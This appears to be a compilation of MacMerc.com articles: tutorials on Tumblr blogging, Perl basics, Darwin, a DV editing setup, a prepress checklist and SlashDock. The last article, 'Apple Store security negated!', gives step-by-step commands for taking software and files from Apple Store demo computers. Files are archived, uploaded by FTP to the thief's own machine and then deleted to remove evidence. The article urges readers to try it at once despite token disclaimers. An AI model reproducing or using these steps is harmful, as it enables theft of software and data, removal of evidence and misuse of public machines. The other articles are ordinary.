From iPhone to your blog to Twitter and Facebook in three taps

This is a little trick I showed to my buddy @JamesProps a little while ago that has allowed him to quickly take pictures with his iPhone, have them posted to his blog at JamesProps.com and then out to Twitter and Facebook.

It’s so quick he only has to launch an iPhone app, take a picture and tap send. Then the system takes care of the rest.

It is so easy to set up that I explained the whole process to him over a series of Twitter direct messages and a couple of emails. Here’s how it works:

Set up your custom domain—<yournamehere>.com

First you need to register a domain. You can get a domain rather inexpensively at GoDaddy.com ( Domain Sale! $6.89 .com at GoDaddy ), just be sure you only get the domain—don’t bother with the hosting or anything else.

Sign up for a Tumblr account

Next you’ll want to sign up for a Tumblr account and start a blog there.

While you’re logged into Tumblr.com and click “Customize”. In the Customize window, you can change the theme of your blog really simply and there are a ton of themes to choose from.

When you’re done customizing everything else, click the “Info” tab and tell Tumblr you want your blog at the domain you just registered.

You’ll also want to look under the “Services” tab and add your Facebook and Twitter accounts. This will announce every post your make to your Tumblr blog to your Twitter followers and your Facebook friends.

Point your domain at Tumblr

Now, you’re going to have to tell GoDaddy.com that you want traffic to your domain to go to your Tumblr blog. So, log into GoDaddy.com, go to Domain Management, click on your domain in the list of domains.

Once you arrive at the Domain Manager page for your domain, click “Total DNS Control”

(Almost there!) Click the little paper & pencil icon under A (Host) in the @ row…

Then plug 72.32.231.8 into the “Point To Ip Address:” field and click OK.

Now, give it a minute or two and then go to your domain name …it should now be your Tumblr blog. Free website with your own custom domain.

The app that makes is simple by making it Quickr

There is a free Tumblr app which is pretty great, but there is also a 99¢ app called Quickr from Basil Apps that makes posting pictures to your page a much simpler procedure: Launch, snap, (type a description if you like) and post—DONE!

The thing I love about services like Tumblr is they integrate so well (and evolve to continue to integrate well) with other social networking and web services. A lot of people trying to establish a “personal brand” make an over-the-top “Hollywood” website that they can’t maintain themselves and they’re often too complicated to update often enough to build an audience. A simple, free Tumblr site kicks their ass.

You should also go to Tumblr’s Goodies Page and drag the “Share on Tumblr” bookmarklette into your bookmarks bar on your browser.

Then, any time you’re on a super awesome website reading an article, click the “Share on Tumblr” button in your toolbar and a little window will pop up and help you post a link to that article any way you would like (text, photo, video, quote…whatever!)

I’m really liking Tumblr. Let me know how this process works for you.

What online services do you use to express yourself and reach your friends…your audience? Please tell me about it in the comments.

Build a Window Management App with Apptivate and AppleScript

Once I get going again, you may notice a slightly new direction in the content here at MacMerc. I’d like to get away from reporting and repeating the news and focus more on tutorials and reviews of the awesomeness that can be done and had with our little technological gems from Cupertino.

To that end, I bring you a link to a tutorial I found from AppStorm. With this ingenious little system, you will quickly and easily build your very own window management app using nothing but a cigarette butt, a Starbucks splash stick, AppleScript and an app called Apptivate.¹

What’s a window management app? Good question. Sounds like a big bag of boring, but if you often need to work in several different windows on a single screen and you spend any time at all sizing and positioning windows so you can see them all, you’ll dig this simple method to solve that dilemma.

What productivity hacks and and systems do you use to rock the Mac to save time? I want to know. Please leave a comment.

If you’ve written a tutorial or posted a video about it, I want to post it here. Please leave a link in the comments.

1. I totally lied about the cigarette butt and the splash stick [↩]

Perl on your Mac part 2

By Jon Gales

If you missed my last lesson read
it before you read this one. If not you have a good change of being lost. If
you don’t feel 100% about last weeks lesson that is ok, you will after today.
The last lesson was a quick into to the basics of Perl, scalar variables and
the print function. We will be covering them both in more detail as well as
standard input and comments.

Scalar variables:

• Always
marked with a $ before ($scalar_variable)
• Can contain A-Z, a-z, 0-9, and underscores in the name and must
start with a letter.
• Integers and character strings can be assigned as the value
• Can be assigned different values in the same script such as:

$one = 1;
$one = 2; #$one now contains 2

• Are
case sensitive so $A and $a are two different scalars
• Can be used in conjunction with each other such as:

$one = 1;
$two = 2;
$answer = $one + $two;

The operators
for Scalar’s are
as follows:

Add	=	+
Subtract	=	-
Divide	=	/
Multiply	=	*

To increment
a scalar (has to be a number) add ++ or — after it like:

$value
= 6;
$value++; #the ++ increases the 6 to a 7
print $value; #will print 7

This is the
principal that web counters work on. When a visitor visits the page it triggers
a Perl script that reads a number from a file increases it by one prints it
to the web and then prints it to file for the next time a hit is occurred.

Print
function:

The
print function is probably one of the most
important things you will need to learn
in Perl. Thankfully it is simple. Perl doesn’t
actually print things (on your printer)
it outputs them on screen. To print something
just put the following:

print
"WHAT YOU WANT TO PRINT";

You
can print scalars, strings, numbers, or
whole files (you will learn this at a later
date). Be careful to quote strings of text
(Perl will let you get away without quoting
scalar variables but not text strings).
Also don’t forget that ending semicolon.

Standard
Input:

We
briefly touched this in our last lesson
but not enough to thoroughly understand
it. The code for standard input looks like
this:

$VARIABLE_NAME
= <STDIN>;
chomp($VARIABLE_NAME);

That
chomp isn’t always needed but is a good
idea because sometimes input can get an
extra line in it and we don’t want that.
If there is nothing to chomp it does nothing.
This code picks up whatever was typed in
and dumps it into the $VARIABLE_NAME variable.

Comments:

Comments
are pieces of text that are solely meant for
human readers of the code. The computer automatically
ignores them. In Perl they are marked by a
pound sign #. Everything after a pound sign
is ignored. You have to comment every line
(there are no multi-line comments in Perl
like there are in C, PHP, and many other languages).
Commenting is a really really really really
(did I make my point?) good idea. Even if
you code looks good after your 5th Mountain
Dew at 3 a.m. I promise you it won’t look
good when your boss is looking over your shoulder
at 9 a.m. The first line of every Perl script
is a comment but this one isn’t ignored, it
tells the comp where to find Perl.

---

A
simple program using: Scalar Variables, Print
Function and Standard Input and comments is
below:

#!/usr/bin/perl
print "How old are you?
"; #prints
question
$age = <STDIN>; #puts response into
scalar
chomp($age);#get rid of that new line
$age_days = $age * 365; #times age by number
of days in a year
print "You are approximately $age_days
days old
"; #print answer

If
you are in X make the code a text file ending
in .pl and chmod it to 755. Then you can run
it by typing the path to file in the terminal.

 

Homework:
Your homework is to mess with the X
terminal. Practice writing stuff in pico and
chmoding it and moving around the directory.
Here are a few commands to get you started:

•
ls lists current directory
• cd changes directory (cd usr moves you
to the usr folder, cd / always moves you back
to the root directory).

If
you are on Classic you don’t have any homework
except to get OS X as soon as you can. It is
the future and kicks butt for Perl!

If you are having trouble or would like to ask me a question
please send me mail: jonknee@macmerc.com
or chat through AIM:
jonknee41 (add to buddy list)

Intro to Darwinism

By
Jon
Gales

No,
this isn’t going to be a religious or scientific battle about the origin of
our universe. It’s going to be a first look at Darwin, the underlying level
of Mac OS X. Right now you are probably asking yourself why, how, or are confused
as to what Darwin really is. I can give a you a great nutshell answer for each.
Strap on your geek boots, here we go!

 

What:

Darwin
is FreeBSD for the PowerPC processor (G3 and up actually). It is open source
and can be downloaded free of charge from http://darwin.org/projects/Darwin/1.3/release.html
(an Apple site). The download is about 120 megs and the installation can’t
be easier. If you have ever tried to install Linux you will envy Darwin’s
install. It is truly drag and drop (and there’s not even any dragging!). Just
double click, select an empty partition and you are in UNIX. I said before
that Darwin is the underlying level of OS X. Here is what that means:

Aqua
Carbon	Classic	Cocoa
Open GL	Quartz	QuickTime
DARWIN

As you can
tell, Darwin is on the bottom of our chart; this means it controls all the
base level OS operations. You can access Darwin in the Terminal.app in OS
X (in the Utilities folder). That’s all good but we power users want more.
For that we move to why.

Why:

Why not? Well,
it isn’t user friendly, has no native GUI (X Windows can be installed but
isn’t part of Darwin), can’t run any of your applications, and the list gets
longer. What it does, it does well: all UNIX functions. Aqua is beautiful
but takes RAM and CPU cycles. That is a waste if you are using your box as
a server. OS X has real powerful server tools like Apache built-in, and MySQL
and PHP can be installed making OS X a powerful web server. The same server
can be run from Darwin without the wasted RAM and CPU cycles that Aqua brings.
In fact, Darwin can be your network’s NAT server (for sharing net access).
You can have an older G3 serve as your router/firewall/webserver all without
paying a dime. Even if you don’t want to use those features there is no easier
way to learn UNIX (except using it in the terminal).

How:

Once you run
the installer, go up to the startup disk control panel and select the disk
(or partition) with Darwin on it. If you don’t want to make it the default
disk, just hold Option at startup and select the boot disk at that point (instead
of using the startup disk control panel). After a few minutes you will have
a blinking cursor; type the following:

root

You will get
the following message: "Welcome to Darwin!". This signifies that
you are all logged in and are ready to do anything you choose. Here are the
commands I found most useful:

ls
= list files in current directory
cd
= change
directory (cd / takes you to the main directory)
mkdir
= make directory, creates folder
pico
= opens
up pico (a text editor). A file string followed by pico will open that file
in pico (Ex: pico /files/test.pl will open a file called test.pl located in
the /files directory)

All the OS
X directions in my Perl
tutorial apply to Darwin (since it is OS X).

To connect
to the internet I edited the /etc/iftab file in pico to read:

en0
inet 192.168.1.102 netmask 255.255.255.0 up
en0 inet -DHCP-

The IP address
is specified by my router so that will change depending on your setup. If
you aren’t on DHCP try following the directions on this site: http://www.excel.net/~clobrien/darwin/Network.html

After I was
on the net I did an FTP transfer. To connect to an FTP server type:

ftp
ftp.servername.TLD (replace TLD with the ending tld)

It will prompt
you for a username if necessary and then a password. You can use the cd and
ls commands to move around the file tree. Type: get FILENAME to download
files and: put PATH/TO/FILE.txt to upload files. Type ? for
a list of all commands.

---

That was my
experience with Darwin… I will write another article once I get PHP and
MySQL going (I am having some difficulties forwarding the right ports to my
computer at the moment).

 

If
you are having trouble or would like to ask me a question, please send me mail:
jonknee@macmerc.com

The Ultimate DV Editing Station – Part 1– Setting Up

By: Brian Burnham

It is important to start smart when setting up an editing station. Choices made now will avoid frustration later, so follow closely.

For those of you following along at home, here’s what you will need:

1. A 867 MHz G4, fresh from Apple $2499
2. A Matrox RTMac $999
3. Final Cut Pro 2.0 $999

Optional:

1. Contour ShuttlePRO $125
2. Macally 2 button scroll optical mouse (i-optinet) $49

First off, I want to say that this tutorial is a free service. Anything that might happen to you, your Mac or anything you happen to have near it is in no way the fault of MacMerc or me in particular. Just be smart, okay?

Getting it Together

Well, we’ve got all the boxes unpacked and the smell of fresh poly carbonate plastics is making us a little woozy but I’m hoping you managed to put together the basic components of your Mac. We’ll pick up at the installation of the RTMac card. Open the side panel of your G4 and pick a PCI slot. Don’t forget to ground yourself by either touching a big piece of metal or putting on a ground strap. Pop it in and connect it to the desktop breakout box (via cable). Don’t worry about plugging it in to the wall, your Mac powers the box.

Software

Now we are ready to start installing the software that will make this sweet, fast new Mac fly. At this point, if you’re anything like me, you spend several minutes poking and pushing the front panel of the SuperDrive, until you snap out of your stupor and read the directions. As noted in the directions that I read AFTER I had figured things out, there is no "eject" button on the tower of the new G4. You have to use the keyboard eject to get the thing open.

Whew! That was a close one, but don’t worry, we won’t be referring to the directions again. Now that we’re rollin’, we’ll install Final Cut Pro (choosing the RTMac version under the "custom install" option). Enter in your serial numbers (they are in the documentation, on a separate sheet of paper). Now, I realize that you love to see your name in print, but you’ll notice that, in the QuickTime registration panel, you must use "QuickTime Pro" as your name, or the code will not work. After running the two installers, stop by the Apple web site for the Final Cut Pro 2.0.2 update

RT and VM

The temptation to restart your Mac and start playing with your new system is almost unbearable, but stay with me. You see, the RTMac doesn’t work with virtual memory on, and by default, your new Mac has it turned on. So, make a quick pit stop by the Memory control panel. Now is also a good time to note that RAM is at an all time low in cost, and you do need more than the default RAM provided by Apple.

Toys

Now, there are a couple of optional gadgets that will make your life as an editor easier. The two we chose are Macally’s two-button, optical wheel mouse — a must for any professional Mac, and Contour’s ShuttlePRO. This second tool will provide us with a more video-like interface, adding shuttle and jog capabilities to your Mac. After installing the drivers for your Macally mouse (provided on the CD), you will need to download your custom Contour drivers configured to work with Final Cut Pro.

This is as far as we will get in this installment. You now have a viable nonlinear editing station, ready to use. In the following tutorials we’ll look at optimizing, troubleshooting and customizing your workstation!

On to Part 2: Optimizing & Troubleshooting

The Ultimate DV Editing Station – Part 2– Troubleshooting and Optimizing

By: Brian Burnham

Alright, last time we set up our system and were ready to begin editing. Now we’ll take a look at a couple potential problems to avoid and some ways to maximize the potential of your new editing system.

Troubleshooting:

We had only one hang-up in our installation. Learn from my mistake!

Pixels, pixels, pixels

Many industry-standard non linear editors work off of the 640×480 pixel depth, using the square pixels your computer generates. However, the RTMac is set to work instead with the 720×480 pixel ratio. This does not mean the video frame is any wider. This new ratio is founded upon 4:3 pixels, rather than the square default on your computer. What does this mean? In short it means that your RTMac will only work on it’s default of 720×480

Update Fever

When working on a Mac used primarily for video editing, there is another caveat: beware of constant upgrading. In many cases you will find that the $1,000 editing system you purchased doesn’t work with the free QuickTime upgrade that shows up in your Software Update. You should exercise extreme caution when upgrading system components to a version newer than your video software. In fact, unless you are updating all of your video software, don’t update anything else that could remotely conflict. In our case here, it has been brought to my attention that you will likely find the 5.0.2 QuickTime update incompatible with the RTMac. Let me summarize this point by saying that, in the interest of stability, you must sacrifice the urge to update your video editor.

Optimizing:

Okay, sorry for the lecture, but I think you’ll find configurations and updates to be the primary causes of problems on your Mac. Now, let’s make your Mac all that it can be.

The Hybrid

If, for some reason, your video editor needs to be used for other purposes, let me suggest you use some of the internal customizing features of your Mac OS. Extensions are the number one cause of grief and conflict on your Mac. If you have to install a bunch of extra something on your computer, use the Extension Manager.

I’m not going to explain to you the ins and outs of the EM. Take a moment to make a separate setting for video. Disable things like File Sharing, printers and other unrelated drivers. Don’t get to crazy, many system components are still necessary. Experiment. Now, leave yourself another set with all these extensions enabled for the other uses of your Mac, printing, etc. When you are ready to do some intensive editing or capturing, change your extension set and restart.

Tearin’ Loose

Okay,now that we have selectively deactivated extensions that are unneeded, lets cut your Mac loose from some other restrictions. First, deactivate AppleTalk, Web Sharing and File Sharing. Background activity on your Mac can interfere with your video work.

Working the Disks

If you ordered your Mac with optional new drives (this is a good idea), go into Final Cut Preferences and click on the "Scratch Disks" tab. Here you can tell Final Cut which disks to use for video capture, etc. On our system, we have 2 extra drives. In order to take the load off the system disk and increase speed, we will set the audio and video capture on a separate disk than the one we are running the OS and final Cut from. Then, to further optimize our system, we will set our Audio and Video Render to still another disk, to increase the speed of our editing. Finally, get a disk defragmenting program, such as Norton SpeedDisk and defragment your disks frequently. This will prevent I/O errors with your video data. A word on stripping (that’s with one "p") Many professionals stripe their hard drives. This increases the read/write speed of their drives. However, this is not a native format that can be read by your system, and requires third party software. Because of the instability that comes with third party drivers, I recommend against this – in our situation here. There are times
to stripe, but this isn’t one of them

Next time we’re going to take a step back and have a look at what we’ve done. In this final installment we’ll asses our equipment and software and decide what’s good, great or fit for the trash heap. For those of you who have experience with these products, send me your opinions! Tune in next time to find out how these video tools rate!

The Ultimate DV Editing Station – Part 3– Evaluation

By: Brian Burnham

Now, with Assembly and Troubleshooting under our belt, lets throw down our votes on what was and what wasn’t what we needed.

Power Macintosh G4 (867 MHz)

Apple Final Cut Pro 2.0

Matrox RTMac

I hope these evaluations will be useful. Remember this is not the final word. Be sure and share your opinions with your fellow Mac Professionals in the MacMerc Forums.

Thank you for tuning in. MacMerc’s highest priority is providing you with the information you need to be successful.

Prepress Checklist

By: Rick Yaeger

In my experiences working in advertising agencies, design firms and production houses, I have found that taking the time to double check jobs against a list of standards quite valuable in preventing costly reprints.

This is by no means an exhaustive list, although to those who do not employ such a system, it might seem so…

Accuracy

• check spelling: Most, if not all, page layout programs have spell checking abilities. Make sure you use them to check your jobs. It’s also a good idea to keep your programs dictionary current by “teaching” it to recognize words unique to the jobs you work on.
• check revisions: The whole point of the client checking proofs is to catch and correct errors before film is run. Make sure you carefully go over these proofs and have another person double check to be sure of accuracy. It’s a great idea to use a highlighter to… well… highlight where proofs have been marked up with corrections. Any steps that can be taken to make things more clear are always beneficial.
• proof read: The client is supposed to read and proof everything but still spelling mistakes and errors squeak through. Don’t be so focused on the client’s corrections that you miss other errors that they might have missed.
• check size/proportion against docket and job request form: There are few things worse or more embarrassing than bringing a job to completion only to find that it is an inch wider than intended. Check the specifications, assume nothing.
• update document tags: Many production houses and film shops have adopted a system of tagging jobs with information that is updated throughout the jobs life until completion. If you are working in such a shop be sure to pay careful attention to updating this information. Some of the information that may appear in such a tag might include:
  • docket number and version number
  • current date
  • proofed by…
  • color bars
  • line screen
  • font list
  • indication of the use of FPO images
• trapping: This is an art unto itself. Many production houses leave this worry to the film shop to deal with. Trapping is the precaution taken to insure that minor misregistrations of color on the press do not entirely compromise the quality of the printed piece. If you happen to work at a shop where you are expected to check the trapping, I suggest you take every necessary step to be sure that there are no trapping issues with your job. Printing laser separations before sending a job out to the film shop is often a good method of checking for trapping errors.
• bleed: If your current production project prints right to the edge of the page, make sure that there is a suitable amount of image overlapping the edge of the page. Check with the printer of the job to determine the correct bleed width (usually 1/8").
• spot colors represented in color bars: This is simple common sense. If you are printing a two color job, make sure you include a color tag representing each color outside the jobs bleed area.
• custom colors in process jobs set to process separation: Often when a color is chosen in Quark XPress it comes out of the PANTONE color matching system and is then added to XPress’s colors palette and forgotten. Most likely XPress sees this color as a spot color. This is fine if the job you are working on is using spot colors, but if it is separating into cyan, magenta, yellow and black inks, then your new spot color has made your four color job into a five color job. Make sure you specify Process Separation for custom colors in CMYK jobs.
• custom colors in process jobs with inconsistent CMYK break downs: Occasionally, different programs have slightly different ideas of the CMYK equivalents for certain PANTONE colors. This is something you should confirm and rectify if you are bringing art from Illustrator, Freehand or Photoshop into a page layout program like Quark XPress. It is almost always easier to allow the imported graphics to introduce the new colors to XPress’ color palette … even then, you should make sure that all the different files you are importing see the colors the same way or they will not look the same on the press!
• flag FPO images, odd scaling, art director’s poetic license or any items that should be dealt with before the job is output: Here’s a great idea for large production houses that takes advantage of Quark XPress’s library feature. Make a library of warning symbols (select supress printout on them before adding them to the library). These tags would warn anyone opening the job that:
  • a certain photo has be scanned for position only (FPO!)
  • a corporate logo has been scaled at a different percentage in the X coordinate than in the Y.
  • an art director has gone against the client’s wishes and altered the file
  • a low resolution image has been placed to speed printing but the high resolution version should be replaced before sending the job out.

  These kind of notes can protect you from finger pointing and ax wielding when jobs go sideways and are utilized by some of the bigger production facilities in Vancouver (most notably Artefact and Detroit).

• investigate job flags: Okay, once you’ve made the wise decision of tagging anomalous items in your documents, you must follow through by investigating them when they are found. If you are asked to collect a job for output and then discover that it is riddled with FPO! flags, it’s time to talk to your production manager and formulate a strategy.
• use the right tool for the right job: In the last few years, the lines that defined what made a layout application, a vector illustration application and an image editor have been smudged. You can now apply Adobe Photoshop plug-ins to images placed in Adobe Illustrator, you can create clipping paths in Quark XPress and you can manipulate vector images in Adobe InDesign. Heck, if you want to, you can drill a hole in the wall with a ball-point pen! Just because you can, doesn’t mean you should. Use layout programs for layout and leave image editing to image editing applications. Quark XPress just isn’t as good at clipping paths as Adobe Photoshop … nor should it be expected to be!

Typography

• quotes (“ ”), apostrophes (‘ ’), inch marks (") and foot marks (‘): Each of these marks of punctuation has a specific use. Be sure to go over your work with a fine toothed comb to make sure that you aren’t inching quotes or quoting inches. (Please note that the internet is somewhat vague on the difference between these marks due to issues of compatibility between systems).
• widows, orphans and hyphenation: Never leave a man behind! The definitions of terms “widow” and “orphan” have been debated over and over again but the concern remains the same regardless of nomenclature. Avoid the following:
  • leaving too few lines of the beginning of a paragraph at the end of a column
  • leaving too few lines at the end of a paragraph at the top of a column
  • leaving too few lines of the beginning of a paragraph at the end of a page
  • leaving too few lines at the end of a paragraph at the beginning of a page
  • leaving too few words at the end of a paragraph
  • hyphenating a word staring at the end of one column or page and ending at the top of another column or page
  • hyphenating too many words in a row down the edge of a column of text
• superfluous spaces: In the age of typewriters and other monospace devices, a period was not enough to clearly end a thought in type on a printed page. Every typing student was taught that a period must always be followed by two spaces (a semicolon was treated similarly). Though this is no longer a concern with Postscript fonts and computer typesetting, the tradition has snuck its way into misuse in the print production industry. Do a “Find and Replace” for all double hits of the space bar and replace them with on single solitary space. Tell the client that the space you saved enabled you to enlarge his logo!
• kerning: Another art within an art. Most page layout programs enable you to finesse the tracking and kerning of your type so that the spacing may look consistent and pleasant. Take a typography course, it will open your eyes.

Image Usage

• white backgrounds on images: If aren’t careful, Photoshop images in your Quark XPress jobs might get printed with unsightly jagged edges. This is often caused by placing a grayscale or color TIFF into an image box with no background. (If you have never witnessed this, you need only comb through the back of any MacWorld magazine where they present the greatest number of low-budget ads … or just a look at the image below!) Though you may want the background to show through, this is not the way to go about it. Only bitmapped TIFF’s and EPS’s (preferably EPS’s with clipping paths) can get away with having their backgrounds set to "None."

• artwork resolution, rotation and scaling: Though image setter rips are getting so sophisticated now that it hardly matters anymore, for the sake of file size, beware of images scaled too much or rotated in page layout program. It is best to take the scaling and rotating information from Quark XPress and apply that to the actual Photoshop image. Images scaled down more than 60% are simply occupying too much hard drive space. Also be sure that you haven’t scaled any images up so much that their effective resolutions are below twice the printing resolution.

File Management

• image naming convention: Always conform to the agreed naming conventions when saving files. This will aid in identifying the correct files when collecting for output or retrieving from archive.
• elements in their assigned folders: As with naming conventions, adhere to any procedures for keeping all images, fonts, logos, graphics, etc. in organized folders.
• copy jobs back to the server: If you happen to be working on a system with a central file server, make sure that you copy your files back to the server before moving on. This will make them available to the file backup system and ensure that you work is not lost in the event of crash or corruption.
• trash jobs off your hard drive: Once again, for those using a central file server, make sure that once you have copied your files to the server that you remove them from your drive. This will prevent any kind of confusion caused by having multiple copies of the same job. Keep the most current version on the server and dispose of all copies. Possible exceptions include:
  
  • situations where the stability of the file server is in question. In this case, keep a separate folder on you drive to hold your work as a personal backup.
  • situations where the stability of the art director or designer is in question. It is best in this case to employ a naming convention that uses version numbers to preserve a project in its various incarnations just in case the designer’s mind changes.

Removable Media Usage

• remember to sign out the disks you use: Many studios require that any jobs going out on company owned removable media must be signed out. If this is the case in your working environment, remember to comply.

Teaching SlashDock 2.0 to pick up MacMerc.com headlines

By: Rick Yaeger

The release of Mac OS X brought many changes not the least of which was the Dock. The Dock was designed to help users navigate and organize their system, and give instant access to your most frequently used applications, folders, and minimized windows but it was also given the option for a new type of expandability ó the dockling.

This is where SlashDock comes in… err… well… it used to. You see, back in version 1.0, SlashDock was a dockling but in version 2.0 the developer saw fit to make it a stand alone application. Many devoted SlashDock users are already grieving this decision and I doubt that it will be long before we see SlashDock waddling its butt back into dockling status.

For those of you who haven’t used SlashDock before, it is a free Mac-OS-X-only application that grabs headlines from slashdot-compatible and RSS-compatible sites like MacMerc.com. In version 2.0 you are able to specify how often automatic updates are made and how SlashDock behaves when new headlines are found. To check on the headlines and read articles, simply click on SlashDock in you dock and choose your favorite site from the menu and then pick a headline. Selecting that headline will take you directly to that article in your preferred web browser. Very cool but MacMerc.com is not one of the default sites SlashDock checks. Don’t worry, we’re gonna fix that.

Setting SlashDock to read MacMerc.com

Assuming you have installed and launched SlashDock as described on the developer’s site, select Preferences… under the SlashDock menu. With the Sites tab selected, enter http://www.macmerc.com/backend.php in the field marked URL and click the + button. SlashDock will now automatically grab all of MacMerc.com’s information and add it to your “subscription list.” You will probably want to click on MacMerc.com in the list and drag it to the top where it belongs ó I’ll leave that up to you.

Making SlashDock Launch at Startup

One of the problems with SlashDock no longer being a dockling is that you have to go track it down and launch it if you haven’t got your System Preferences set to do it automatically. That is easy enough to fix.

Select your Apple Menu and choose System Preferences…. From your System Preferences window, click on Login and click the Login Items tab. If you click the Add… button and navigate your way to the SlashDock application and click Open, you will have SlashDock launching and grabbing the latest MacMerc.com headlines at every startup. Life is good.

Apple Store security negated!

By xmachackerx@hotmail.com
3/5/02 © MacMerc.com

Here’s the
warning: MacMerc.com and
all of its writers and publishers DO NOT condone STEALING from Apple Computer,
this article is just for the curious minds in our audience. We suggest that
you NOT try anything discussed here.

It came to my mind after visiting the local Apple Store that a devious person
could easily suck software (or any sort of file) off of the rows and rows of
fabulous computers, each decked out with super high-speed internet access. At
least at my local store the upstream is at least 50K/s which is pretty zippy.
The downstream is blistering but we don’t need to download anything to pull
off this hack. Internet access on ALL of the computers seems really cool, you
can check your email or send an iCard off from the mall. Ohhhh…. Ahhhh….
But to me I saw one thing and one thing only, FREE SOFTWARE.

MacOS X is pretty
much the only MacOS that could pull this off so easily. If you have a classic
machine that you want stuff off, read Method 2. Included in
X is: an FTP server, an HTTP server, compression utilities and an FTP client.
These are all of the tools to pull off both of the following methods. Yes, I
have tried these at the Apple Store. They could work anywhere with Mac’s and
broadband but the Apple Store is the most high profile location with both (and
lots of goodies to take).

As of press time
the methods detailed in this article do work. They may become
obsolete once Apple reads this (I’m assuming they will fix this quickly, maybe
a mater of hours). So if you are reading this on the day of publication run
out to the store and try it out, just don’t tell them who sent you . There
is a story circulating that the Apple Store will have Photoshop 7 on their computers….
That might be a nice thing to snatch but again we do not condone stealing. Please
do not try this if you aren’t prepared to face the consequences.

METHOD 1:

Step 1:
• On your home computer (I am assuming you are running X or another variant
of *nix) go to (/Applications/Utilities/Network Utility.app) and write down
your IP address. For this method you must have an always on connection. If you
don’t have it go check out Method 2. Some of you may have a
router to share access across a LAN. If so, go ahead and set Port Forwarding
(or something similar sounding) to forward port 21 to your node. This should
be in your router’s manual, it’s not a hard thing to do. If you do have a router
write down the IP of the ROUTER not of your node (this is a local-only IP thus
won’t be accessible at the store). To find that just lot into your router (most
home routers allow a web browser to log-in and change settings). With the combination
of forwarding and the IP of your router you can access your computer from any
internet access point.

Step 2:
•If you don’t already have FTP access turned on, go ahead and do it.

• Go to the System
  Preferences and select sharing.
  

• Select
  the check box that says allow FTP access.

Step 3:
• Go to the Apple Store and find a computer that has no one around it.
You may want to play around a little first and have a sales person ask you if
you need help. Just say you are just looking and thank him. After that they
will leave you alone, as long as you seem rather savvy. I used a TiBook but
all of their computer have Internet Access.

Step 4:
• Find the
item that you want. It doesn’t have to be software it can be any sort of file
that you have permissions for. I first tried this with pictures (they are nice
and small). If what you want is a single file and kind of small skip the following
step, otherwise continue. It can be hard to choose.

Step 5:
• Go to Aladdin drop stuff (in the /Applications/Utilities/ dir) and stuff
your file. If it is not there (it may have been deleted) open up the Terminal
(/Applications/Utilities/Terminal.app on a default install) and type:

tar -cf /YOURFILENAME.tar
/path/to/file/free/warez

Where YOURFILENAME is what you want the file to be called and /path/to/file/free/warez
is the path to your file (you can drag it to the terminal and it fills this
in for you).
Now to save a little space we are going to gzip that file.

gzip
/YOURFILENAME.tar

Step 6:
• Now we are going to FTP… back at the terminal type the following:

ftp
your.ip.address

*Note
– I took this screen shot at home as to not get busted. The IP is my local
IP so don’t try anything.

• Obviosly replace
  your.ip.address with that number you wrote down.
• After a second
  or two depending on the traffic between your two computers a prompt for a
  username will appear. Type in your log-in for X. It will ask for a password,
  which you must provide.
• It is a very
  good idea to make a dummy user on your system before you go to the store.
  Who knows what monitoring stuff they are running? Better safe than sorry!

Step 7:
• We are now logged in to your computer from the Apple Store. Now just
type:

put /YOURFILENAME.tar.gz

• All you do now
  is hit enter and wait.
• The best thing
  to do in this situation is to hide the window (option-click on the desktop)
  and get interested in iMovie or something. Depending on file size you can
  play around for a few seconds or minutes.
• After it says
  you are done you have the file residing on your computer…

Step 8:
• Good kids always trash the evidence…

rm /YOURFILENAME.tar.gz

Exit out of all the applications you may have opened, step back and be proud
you have compromised Apple Computer
(not that anyone would want to, or anyone would follow these directions).

 

METHOD
2:
This is the method that I tried originally… Basically because I had all of
the code written for a website of mine before the Apple Store was even around.
It is harder to pull off unless you like to tweak code (if you do it is FUN!).
The major advantage is that it will work with a slow connection as long as you
have access to a web host with a fast one. It can be shared among friends without
having to dish out passwords to your computer which is also a major plus.

The basic concept is that you set up a website with an HTTP upload form and
it just sends the file to your server. I will give some links to some CGI’s
with potential but no directions for setting it up on X, if you need directions
the CGI’s come with them. If you are more of a novice on X, just use method
1 or find a friend.

• http://www.ftls.org/en/examples/cgi/eUpload.shtml
  
• http://www.hotscripts.com/Perl/Scripts_and_Programs/File_Manipulation/Upload_Systems/

I wrote some PHP code that
lists all files that you uploaded to a certain directory. PHP can be installed
on X, directions can be found here.
The can be used in tandem with an upload CGI to make a nice file transfer site
that you can pass around to friends. I even built in a delete function on mine
so that you can delete files from the web. Pretty sweet! I used this code in
my first attack. The code follows below sans the deleting option:

function do_files
($dir) {
//written by xmachackerx@hotmail.com use at will
$handle=@opendir(“/path/to/$dir”);

while (false
!== ($file = readdir($handle))) {

if ($file == “.DS_Store”) {
echo ” “;

} elseif
($file == “..”) {
echo ” “;

} elseif ($file == “.”) {
echo ” “;

} elseif ($file == “index.html”) {
echo ” “;

} else {
echo “ $file
“;
} }
closedir($handle);

} //close
function

?>

If you really need
the delete feature just email me.
I didn’t include it because unless you are adding session management to the
page it is really pointless, anyone can delete files (like the Apple Store employee
that walks to the computer and hits [delete] and your upload goes bye bye).
Have fun and remember to NOT STEAL SOFTWARE… IT IS ILLEGAL.

Please email any suggestions directly to me, I’ll try my best to get back to all of you. Thanks!

-Anonymous Coward

*Editors note: We’ve set up a discussion thread for you in the forums.

April 27, 2009 | Filed Under Articles, Hacking and Tech Mischief | Leave a Comment 

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